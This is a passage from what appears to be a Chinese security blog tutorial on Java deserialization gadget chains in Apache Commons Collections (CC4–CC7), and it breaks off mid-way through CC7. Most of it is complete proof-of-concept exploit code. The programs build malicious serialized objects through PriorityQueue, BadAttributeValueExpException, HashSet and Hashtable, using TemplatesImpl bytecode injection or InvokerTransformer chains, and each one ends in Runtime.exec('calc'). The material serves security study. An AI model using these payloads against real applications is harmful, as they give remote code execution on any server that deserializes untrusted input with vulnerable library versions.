expMap.put(tiedmapentry,"valuevalue");
serialize(expMap);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException,ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}
CC4
条件:
commons-collections4: 4.0
jdk: <7u21
环境搭建:
<dependency>
<groupId>org.javassist</groupId>
<artifactId>javassist</artifactId>
<version>3.22.0-GA</version>
</dependency>
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-collections4</artifactId>
<version>4.0</version>
</dependency>
CC4这条链子是CC2和CC3的结合,前半段用了CC2的PriorityQueue以及TransformingComparator,TransformingComparator本来应该调用InvokeTransformer的transform方法的,但是因为InvokeTransformer被ban掉了(CommonsCollections4 除4.0的其他版本去掉了 InvokerTransformer 的 Serializable 继承,导致无法序列化),所以用了CC3的chain,里面用的是InstantiateTransformer,用了InstantiateTransformer就必须要进行类实例的构造,也就和cc3后面一样了,也用了TrAXFilter来包装TemplatesImpl。
前面有分析了,这里就不再BB
这条链的前半段:
//构造恶意类
ClassPool pool = ClassPool.getDefault();
CtClass Evil = pool.makeClass("Evil");
Evil.setSuperclass(pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"));
String name = "Evil";
Evil.setName(name);
String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
CtConstructor constructor = Evil.makeClassInitializer();
constructor.insertBefore(cmd);
byte[] bytes =Evil.toBytecode();
//通过反射使得_bytecodes=bytes
TemplatesImpl tmpl = new TemplatesImpl();
Field bytecodes = TemplatesImpl.class.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
bytecodes.set(tmpl, new byte[][]{bytes});
Field _name = TemplatesImpl.class.getDeclaredField("_name");
_name.setAccessible(true);
_name.set(tmpl,"aaa");
Field _class = TemplatesImpl.class.getDeclaredField("_class");
_class.setAccessible(true);
_class.set(tmpl,null);
// tmpl.newTransformer();
// InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{tmpl});
// instantiateTransformer.transform(TrAXFilter.class);
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{tmpl})
};
ChainedTransformer transformerChain = new ChainedTransformer(transformers);
transformerChain.transform('a');
后半段是利用org.apache.commons.collections4.comparators.TransformingComparator
的compare来调用这个transform()
然后就是CC2的内容了:
TransformingComparator transformingComparator= new TransformingComparator<>(transformerChain,null);
// transformingComparator.compare("1","2");
PriorityQueue queue = new PriorityQueue(2,transformingComparator);
queue.add(1);
queue.add(2);
serialize(queue);
unserialize("ser.bin");
调用链如下:
graph TB A("java.util.PriorityQueue#\nreadObject()") --> B("java.util.PriorityQueue#\nheapify()") B("java.util.PriorityQueue#\nheapify()")--> C("java.util.PriorityQueue#\nsiftDown()") C("java.util.PriorityQueue#\nsiftDown()")-->D("java.util.PriorityQueue#\nsiftDownUsingComparator()") D("java.util.PriorityQueue#\nsiftDownUsingComparator()")-->E("org.apache.commons.collections4.comparators.TransformingComparator#\ncompare()") E("org.apache.commons.collections4.comparators.TransformingComparator#\ncompare()")-->F("org.apache.commons.collections4.functors.ChainedTransformer#\ntransform()") F("org.apache.commons.collections4.functors.ChainedTransformer#\ntransform()")-->G("org.apache.commons.collections4.functors.InstantiateTransformer#\ntransform()\n和\norg.apache.commons.collections4.functors.ConstantTransformer#\ntransform()") G("org.apache.commons.collections4.functors.InstantiateTransformer#\ntransform()\n和\norg.apache.commons.collections4.functors.ConstantTransformer#\ntransform()")-->H("com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter#\nTrAXFilter()") H("com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter#\nTrAXFilter()")-->I("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#\nnewTransformer()") I("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#\nnewTransformer()")-->J("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#\ngetTransletInstance()") J("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#\ngetTransletInstance()")-->K("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#\ndefineTransletClasses()") K("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#\ndefineTransletClasses()")-->L("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#\nTransletClassLoader.defineClass()") L("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#\nTransletClassLoader.defineClass()")-->M("Runtime.getRuntime.exec")
完整的POC:
package org.example;
import java.io.*;
import java.lang.reflect.*;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.*;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import java.util.PriorityQueue;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;
import javax.xml.transform.Templates;
import javax.xml.transform.TransformerConfigurationException;
public class App
{
public static void main( String[] args ) throws NotFoundException, CannotCompileException, IOException, NoSuchFieldException, IllegalAccessException, ClassNotFoundException {
//构造恶意类
ClassPool pool = ClassPool.getDefault();
CtClass Evil = pool.makeClass("Evil");
Evil.setSuperclass(pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"));
String name = "Evil";
Evil.setName(name);
String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
CtConstructor constructor = Evil.makeClassInitializer();
constructor.insertBefore(cmd);
byte[] bytes =Evil.toBytecode();
//通过反射使得_bytecodes=bytes
TemplatesImpl tmpl = new TemplatesImpl();
Field bytecodes = TemplatesImpl.class.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
bytecodes.set(tmpl, new byte[][]{bytes});
Field _name = TemplatesImpl.class.getDeclaredField("_name");
_name.setAccessible(true);
_name.set(tmpl,"aaa");
Field _class = TemplatesImpl.class.getDeclaredField("_class");
_class.setAccessible(true);
_class.set(tmpl,null);
// tmpl.newTransformer();
// InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{tmpl});
// instantiateTransformer.transform(TrAXFilter.class);
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{tmpl})
};
ChainedTransformer transformerChain = new ChainedTransformer(transformers);
// transformerChain.transform('a');
TransformingComparator transformingComparator= new TransformingComparator<>(transformerChain,null);
// transformingComparator.compare("1","2");
PriorityQueue queue = new PriorityQueue(2,transformingComparator);
queue.add(1);
queue.add(2);
serialize(queue);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException,ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}
CC5
条件:
commons-collections:3.1-3.2.1
jdk1.8
因为jdk在1.8之后对AnnotationInvocationHandler类做了限制,所以在jdk1.8版本就必须找出能替代AnnotationInvocationHandler的新的可以利用的类,所以TiedMapEntry和BadAttributeValueExpException就被挖掘了出来
环境搭建:
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.1</version>
</dependency>
<dependency>
<groupId>org.javassist</groupId>
<artifactId>javassist</artifactId>
<version>3.22.0-GA</version>
</dependency>
前面部分和CC1一样,这也不多BB了
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Class.class),
new InvokerTransformer(
"forName",
new Class[] {String.class},
new Object[] {"java.lang.Runtime"}
),
new InvokerTransformer(
"getMethod",
new Class[] {String.class,Class[].class},
new Object[] {"getRuntime",new Class[0]}
),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer(
"exec",
new Class[] {String.class},
new String[]{"calc"}
)
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
// chainedTransformer.transform('s');
Map map = new HashMap<>();
Map lazymap = LazyMap.decorate(map,chainedTransformer);
lazymap.get('s');
下一步寻找调用了get()的地方,还是找到了这个类org.apache.commons.collections.keyvalue.TiedMapEntry
public Object getValue() {
return map.get(key);
}
然后寻找调用getValue
的地方
这个跟上面出现过的链子不同,这条链子不在用hashCode
这个方法,而是用toString()
public String toString() {
return getKey() + "=" + getValue();
}
TiedMapEntry tiedmapentry= new TiedMapEntry(lazymap,"abc");
tiedmapentry.toString();
然后找调用了toString()
的地方
然后就找到了这个类javax.management.BadAttributeValueExpException
public BadAttributeValueExpException (Object val) {
this.val = val == null ? null : val.toString();
}
private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
ObjectInputStream.GetField gf = ois.readFields();
Object valObj = gf.get("val", null);
if (valObj == null) {
val = null;
} else if (valObj instanceof String) {
val= valObj;
} else if (System.getSecurityManager() == null
|| valObj instanceof Long
|| valObj instanceof Integer
|| valObj instanceof Float
|| valObj instanceof Double
|| valObj instanceof Byte
|| valObj instanceof Short
|| valObj instanceof Boolean) {
val = valObj.toString();
} else { // the serialized object is from a version without JDK-8019292 fix
val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName();
}
}
这个类的构造函数和readObject都可以调用toString()
,如果使用的是构造函数触发,直接new BadAttributeValueExpException(tiedmapentry);
就触发了,如果使用readObject()触发,这里需要通过反射给参数val赋值
再这个readObject中,需要控制valObj
的值为tiedmapentry, 而valObj的值来源于
ObjectInputStream.GetField gf = ois.readFields();
Object valObj = gf.get("val", null);
就是通过 ois.readFields()
方法获取一个 ObjectInputStream.GetField
对象,该对象可以读取对象的字段值,然后通过 gf.get("val", null)
方法获取字段名为 “val” 的字段值,如果该值为 null,将 val
设置为 null
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);//令val=null,再通过反射修改
Field val = BadAttributeValueExpException.class.getDeclaredField("val");
val.setAccessible(true);
val.set(badAttributeValueExpException,tiedmapentry);
serialize(badAttributeValueExpException);
unserialize("ser.bin");
POC1
完整的利用链如下:
graph TB A("javax.management.BadAttributeValueExpException#\nreadObject()")-->B("org.apache.commons.collections.keyvalue.TiedMapEntry#\ntoString()")-->C("org.apache.commons.collections.keyvalue.TiedMapEntry#\ngetValue()")-->D("org.apache.commons.collections.map.LazyMap#\nget()")-->E("org.apache.commons.collections.functors.ChainedTransformer#\ntransform()")-->F("org.apache.commons.collections.functors.InvokerTransformer#\ntransform()\n和\norg.apache.commons.collections.functors.ConstantTransformer#\ntransform()")-->G("Runtime.getRuntime.exec")
完整POC:
package org.example;
import java.io.*;
import java.lang.reflect.*;
import java.util.HashMap;
import java.util.Map;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import javax.management.BadAttributeValueExpException;
public class App
{
public static void main(String[] args) throws ClassNotFoundException, IOException, NoSuchFieldException, IllegalAccessException {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Class.class),
new InvokerTransformer(
"forName",
new Class[] {String.class},
new Object[] {"java.lang.Runtime"}
),
new InvokerTransformer(
"getMethod",
new Class[] {String.class,Class[].class},
new Object[] {"getRuntime",new Class[0]}
),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer(
"exec",
new Class[] {String.class},
new String[]{"calc"}
)
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
// chainedTransformer.transform('s');
Map map = new HashMap<>();
Map lazymap = LazyMap.decorate(map,chainedTransformer);
// lazymap.get('s');
TiedMapEntry tiedmapentry= new TiedMapEntry(lazymap,"abc");
// tiedmapentry.toString();
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
Field val = BadAttributeValueExpException.class.getDeclaredField("val");
val.setAccessible(true);
val.set(badAttributeValueExpException,tiedmapentry);
serialize(badAttributeValueExpException);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException,ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}
POC2
上面poc1中已经到了ChainedTransformer
,那就是可以不用InvokerTransformer
这条链,可以修改一下走InstantiateTransformer
–>TrAXFilter
–>TemplatesImpl
这条链
利用链:
graph TB A("javax.management.BadAttributeValueExpException#\nreadObject()")-->B("org.apache.commons.collections.keyvalue.TiedMapEntry#\ntoString()")-->C("org.apache.commons.collections.keyvalue.TiedMapEntry#\ngetValue()")-->D("org.apache.commons.collections.map.LazyMap#\nget()")-->E("org.apache.commons.collections.functors.ChainedTransformer#\ntransform()")-->F("org.apache.commons.collections.functors.InstantiateTransformer#\ntransform()\n和\norg.apache.commons.collections.functors.ConstantTransformer#\ntransform()")-->G("com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter#\nTrAXFilter()")-->H("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#\nnewTransformer()")-->I("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#\ngetTransletInstance()")-->J("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#\ndefineTransletClasses()")-->K("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#\nTransletClassLoader.defineClass()")-->L("Runtime.getRuntime.exec")
最终POC:
package org.example;
import java.io.*;
import java.lang.reflect.*;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.*;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import java.util.HashMap;
import java.util.Map;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import javax.management.BadAttributeValueExpException;
import javax.xml.transform.Templates;
public class App
{
public static void main( String[] args ) throws NotFoundException, CannotCompileException, IOException, NoSuchFieldException, IllegalAccessException, ClassNotFoundException {
//构造恶意类
ClassPool pool = ClassPool.getDefault();
CtClass Evil = pool.makeClass("Evil");
Evil.setSuperclass(pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"));
String name = "Evil";
Evil.setName(name);
String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
CtConstructor constructor = Evil.makeClassInitializer();
constructor.insertBefore(cmd);
byte[] bytes =Evil.toBytecode();
//通过反射使得_bytecodes=bytes
TemplatesImpl tmpl = new TemplatesImpl();
Field bytecodes = TemplatesImpl.class.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
bytecodes.set(tmpl, new byte[][]{bytes});
Field _name = TemplatesImpl.class.getDeclaredField("_name");
_name.setAccessible(true);
_name.set(tmpl,"aaa");
Field _class = TemplatesImpl.class.getDeclaredField("_class");
_class.setAccessible(true);
_class.set(tmpl,null);
// tmpl.newTransformer();
// InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{tmpl});
// instantiateTransformer.transform(TrAXFilter.class);
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{tmpl})
};
ChainedTransformer transformerChain = new ChainedTransformer(transformers);
// transformerChain.transform('a');
Map map = new HashMap<>();
Map lazymap = LazyMap.decorate(map,transformerChain);
// lazymap.get('s');
TiedMapEntry tiedmapentry= new TiedMapEntry(lazymap,"abc");
// tiedmapentry.toString();
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
Field val = BadAttributeValueExpException.class.getDeclaredField("val");
val.setAccessible(true);
val.set(badAttributeValueExpException,tiedmapentry);
serialize(badAttributeValueExpException);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException,ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}
CC6
条件:
commons-collections:3.1-3.2.1
jdk无限制
环境搭建:
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.1</version>
</dependency>
前半部分是和前面的链子是相同的,不再分析
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Class.class),
new InvokerTransformer(
"forName",
new Class[] {String.class},
new Object[] {"java.lang.Runtime"}
),
new InvokerTransformer(
"getMethod",
new Class[] {String.class,Class[].class},
new Object[] {"getRuntime",new Class[0]}
),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer(
"exec",
new Class[] {String.class},
new String[]{"calc"}
)
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
// chainedTransformer.transform('s');
Map map = new HashMap<>();
Map lazymap = LazyMap.decorate(map,chainedTransformer);
// lazymap.get('s');
TiedMapEntry tiedmapentry= new TiedMapEntry(lazymap,"abc");
tiedmapentry.hashCode();
和CC1的>8u71那条链子一样,使用了hashCode()来调用getValue()方法
public int hashCode() {
Object value = getValue();
return (getKey() == null ? 0 : getKey().hashCode()) ^
(value == null ? 0 : value.hashCode());
}
还是和CC1的>8u71那条链子一样,通过HashMap的hash方法来调用这个hashCode(),再使用put方法方法调用hash()
static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}
public V put(K key, V value) {
return putVal(hash(key), key, value, false, true);
}
不同的是这条链子使用的是HashSet
的readObject来进行收尾,这个方法里调用了put方法,而且在属性定义可以知道这个map就是HashMap
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
// Read in any hidden serialization magic
........
// Create backing HashMap
map = (((HashSet<?>)this) instanceof LinkedHashSet ?
new LinkedHashMap<E,Object>(capacity, loadFactor) :
new HashMap<E,Object>(capacity, loadFactor));
// Read in all elements in the proper order.
for (int i=0; i<size; i++) {
@SuppressWarnings("unchecked")
E e = (E) s.readObject();
map.put(e, PRESENT);
}
}
按照目前的想法,构造的poc如下
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Class.class),
new InvokerTransformer(
"forName",
new Class[] {String.class},
new Object[] {"java.lang.Runtime"}
),
new InvokerTransformer(
"getMethod",
new Class[] {String.class,Class[].class},
new Object[] {"getRuntime",new Class[0]}
),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer(
"exec",
new Class[] {String.class},
new String[]{"calc"}
)
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
// chainedTransformer.transform('s');
Map map = new HashMap<>();
Map lazymap = LazyMap.decorate(map,chainedTransformer);
// lazymap.get('s');
TiedMapEntry tiedmapentry= new TiedMapEntry(lazymap,"abc");
// tiedmapentry.hashCode();
// HashMap hashMap = new HashMap();
// hashMap.put(tiedmapentry, "test");
HashSet hashset = new HashSet(1);
hashset.add(tiedmapentry);
serialize(hashset);
unserialize("ser.bin");
但是这个写法会出现一个问题,程序运行时,在hashset.add(tiedmapentry);
这里就触发执行了命令,因为这个add()里面调用了put方法
public boolean add(E e) {
return map.put(e, PRESENT)==null;
}
因为这里就触发了命令执行,执行命令后往后继续运行报错,没有走到序列化和反序列化的代码,所以要稍微修改一下
首先,在开头构造transformers
链的时候先给一个无意义的链,让程序先执行
Transformer[] fakeTransformers = new Transformer[] {new ConstantTransformer(1)};//无意义的链
ChainedTransformer chainedTransformer = new ChainedTransformer(fakeTransformers);
// chainedTransformer.transform('s');
Map map = new HashMap<>();
Map lazymap = LazyMap.decorate(map,chainedTransformer);
// lazymap.get('s');
TiedMapEntry tiedmapentry= new TiedMapEntry(lazymap,"abc");
// tiedmapentry.hashCode();
// HashMap hashMap = new HashMap();
// hashMap.put(tiedmapentry, "test");
HashSet hashset = new HashSet(1);
hashset.add(tiedmapentry);
这样就不会执行命令了,
注意:要删除掉lazymap中的已经存在的key,否则不会进入get的if判断,导致利用链断裂
lazymap.remove("abc");
public Object get(Object key) {
// create value for key if key is not currently in the map
if (map.containsKey(key) == false) {
Object value = factory.transform(key);
map.put(key, value);
return value;
}
return map.get(key);
}
然后再通过反射修改回真正的链
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Class.class),
new InvokerTransformer(
"forName",
new Class[] {String.class},
new Object[] {"java.lang.Runtime"}
),
new InvokerTransformer(
"getMethod",
new Class[] {String.class,Class[].class},
new Object[] {"getRuntime",new Class[0]}
),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer(
"exec",
new Class[] {String.class},
new String[]{"calc"}
)
};
Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
f.setAccessible(true);
f.set(chainedTransformer, transformers);
利用链如下:
graph TB A("java.util.HashSet#\nreadObject()")--> B("java.util.HashMap#\nput()")--> C("java.util.HashMap#\nhash()")--> D("org.apache.commons.collections.keyvalue.TiedMapEntry#\nhashCode()")--> E("org.apache.commons.collections.keyvalue.TiedMapEntry#\ngetValue()")--> F("org.apache.commons.collections.map.LazyMap#\nget()")--> G("org.apache.commons.collections.functors.ChainedTransformer#\ntransform()")--> H("org.apache.commons.collections.functors.InvokerTransformer#\ntransform()\n和\norg.apache.commons.collections.functors.ConstantTransformer#\ntransform()")--> I("Runtime.getRuntime.exec")
最后的POC:
package org.example;
import java.io.*;
import java.lang.reflect.*;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import javax.management.BadAttributeValueExpException;
public class App
{
public static void main(String[] args) throws ClassNotFoundException, IOException, IllegalAccessException, NoSuchFieldException {
Transformer[] fakeTransformers = new Transformer[] {};
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Class.class),
new InvokerTransformer(
"forName",
new Class[] {String.class},
new Object[] {"java.lang.Runtime"}
),
new InvokerTransformer(
"getMethod",
new Class[] {String.class,Class[].class},
new Object[] {"getRuntime",new Class[0]}
),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer(
"exec",
new Class[] {String.class},
new String[]{"calc"}
)
};
ChainedTransformer chainedTransformer = new ChainedTransformer(fakeTransformers);
// chainedTransformer.transform('s');
Map map = new HashMap<>();
Map lazymap = LazyMap.decorate(map,chainedTransformer);
// lazymap.get('s');
TiedMapEntry tiedmapentry= new TiedMapEntry(lazymap,"abc");
// tiedmapentry.hashCode();
// HashMap hashMap = new HashMap();
// hashMap.put(tiedmapentry, "test");
HashSet hashset = new HashSet(1);
hashset.add(tiedmapentry);
lazymap.remove("abc");
Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
f.setAccessible(true);
f.set(chainedTransformer, transformers);
serialize(hashset);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException,ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}
还可以像CC5一样走InstantiateTransformer
和TrAXFilter
这条链,这里就不写了
CC7
条件:
commons-collections:3.1-3.2.1
jdk无限制
环境搭建:
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.1</version>
</dependency>
前面部分和CC1的是一样的:
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Class.class),
new InvokerTransformer(
"forName",
new Class[] {String.class},
new Object[] {"java.lang.Runtime"}
),
new InvokerTransformer(
"getMethod",
new Class[] {String.class,Class[].class},
new Object[] {"getRuntime",new Class[0]}
),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer(
"exec",
new Class[] {String.class},
new String[]{"calc"}
)
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
// chainedTransformer.transform('s');
Map map = new HashMap<>();
Map lazymap = LazyMap.decorate(map,chainedTransformer);
lazymap.get('s');
然后寻找调用get()的地方,前面的利用链中用的是AnnotationInvocationHandler类的invoke()或者TiedMapEntry类的getValue(),而这次用的是AbstractMap的equals方法,这个方法是用来比较两个对象是否相等的
public boolean equals(Object o) {
if (o == this)
return true;
if (!(o instanceof Map))
return false;
Map<?,?> m = (Map<?,?>) o;
if (m.size() != size())
return false;
try {
Iterator<Entry<K,V>> i = entrySet().iterator();
while (i.hasNext()) {
Entry<K,V> e = i.next();
K key = e.getKey();
V value = e.getValue();
if (value == null) {
if (!(m.get(key)==null && m.containsKey(key)))
return false;
} else {
if (!value.equals(m.get(key)))
return false;
}
}
} catch (ClassCastException unused) {
return false;
} catch (NullPointerException unused) {
return false;
}
return true;
}
这个方法调用了m.get(key)
,其中m是来自Map<?,?> m = (Map<?,?>) o;
,而 o 是传入的参数,可控,但是需要过三个if判断
然后寻找哪个地方调用了equals
这里使用的是HashTable的reconstitutionPut方法
private void reconstitutionPut(Entry<?,?>[] tab, K key, V value)
throws StreamCorruptedException
{
if (value == null) {
throw new java.io.StreamCorruptedException();
}
// Makes sure the key is not already in the hashtable.
// This should not happen in deserialized version.
int hash = key.hashCode();
int index = (hash & 0x7FFFFFFF) % tab.length;
for (Entry<?,?> e = tab[index] ; e != null ; e = e.next) {
if ((e.hash == hash) && e.key.equals(key)) {
throw new java.io.StreamCorruptedException();
}
}
// Creates the new entry.
@SuppressWarnings("unchecked")
Entry<K,V> e = (Entry<K,V>)tab[index];
tab[index] = new Entry<>(hash, key, value, e);
count++;
}
这里面e是参数tab的索引,如果e.key是AbstractMap,那么就可以调用AbstractMap.equals方法。这个方法是私有方法不能直接调用
然后查看在哪里调用了reconstitutionPut
,只有在这个类的readObject方法调用了
private void readObject(java.io.ObjectInputStream s)
throws IOException, ClassNotFoundException
{
.........
length = Math.min(length, origlength);
table = new Entry<?,?>[length];
threshold = (int)Math.min(length * loadFactor, MAX_ARRAY_SIZE + 1);
count = 0;
// Read the number of elements and then all the key/value objects
for (; elements > 0; elements--) {
@SuppressWarnings("unchecked")
K key = (K)s.readObject();
@SuppressWarnings("unchecked")
V value = (V)s.readObject();
// sync is eliminated for performance
reconstitutionPut(table, key, value);
}
}
这里的key与value就是我们自己存进去的,for循环是遍历hashtable对象中的元素
乍一看链子也就这样了,其实还有很多坑
目前的构造:
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
// chainedTransformer.transform('s');
Map map = new HashMap<>();
Map lazymap = LazyMap.decorate(map,chainedTransformer);
// lazymap.get('s');
Hashtable hashTable = new Hashtable();
hashTable.put(lazymap, 1);
serialize(hashTable);
unserialize("ser.bin");
经过调试发现,在reconstitutionPut()中,无法进入for循环
int hash = key.hashCode();
int index = (hash & 0x7FFFFFFF) % tab.length;
for (Entry<?,?> e = tab[index] ; e != null ; e = e.next) {
if ((e.hash == hash) && e.key.equals(key)) {
throw new java.io.StreamCorruptedException();
}
}
// Creates the new entry.
@SuppressWarnings("unchecked")
Entry<K,V> e = (Entry<K,V>)tab[index];
tab[index] = new Entry<>(hash, key, value, e);
count++;
此时hash=0 这个key就是lazymap, 这个for循环是遍历这个tab, tab的所有值显示为null,说明没有值,所以没有进入for循环,直接运行到后面,将内容保存到tab里面tab[index] = new Entry<>(hash, key, value, e);
这就说明,无论第一个键值对是什么都不会进如循环里面,所以要添加第二个键值对
Map hashMap1 = new HashMap();
Map hashMap2 = new HashMap();
Map lazyMap1 = LazyMap.decorate(hashMap1, transformerChain);
lazyMap1.put("a", 1);
Map lazyMap2 = LazyMap.decorate(hashMap2, transformerChain);
lazyMap2.put("b", 1);
Hashtable hashtable = new Hashtable();
hashtable.put(lazyMap1, 1);
hashtable.put(lazyMap2, 1);
serialize(hashtable);
unserialize("ser.bin");
这里一定要使用不同的hashmap,不然再hashtable.put的时候会认为是同一个
然后继续调试,又回到了for循环
for (Entry<?,?> e = tab[index] ; e != null ; e = e.next) {
if ((e.hash == hash) && e.key.equals(key)) {
throw new java.io.StreamCorruptedException();
}
}
这里要满足e.hash == hash
就是第一个key的hash和第二个key的hash相等,如果不相等则直接为false,不执行后面的equals了
这里不能直接将两个key设置为相等的,因为在lazymap的get方法中有以下逻辑,map的key不能重复否则就不会执行transform函数执行代码了
public Object get(Object key) {
// create value for key if key is not currently in the map
if (map.containsKey(key) == false) {
Object value = factory.transform(key);
map.put(key, value);
return value;
}
return map.get(key);
}
所以只能构造为”yy” “zZ”这两个key
Map hashMap1 = new HashMap();
Map hashMap2 = new HashMap();
Map lazyMap1 = LazyMap.decorate(hashMap1, transformerChain);
lazyMap1.put("yy", 1);
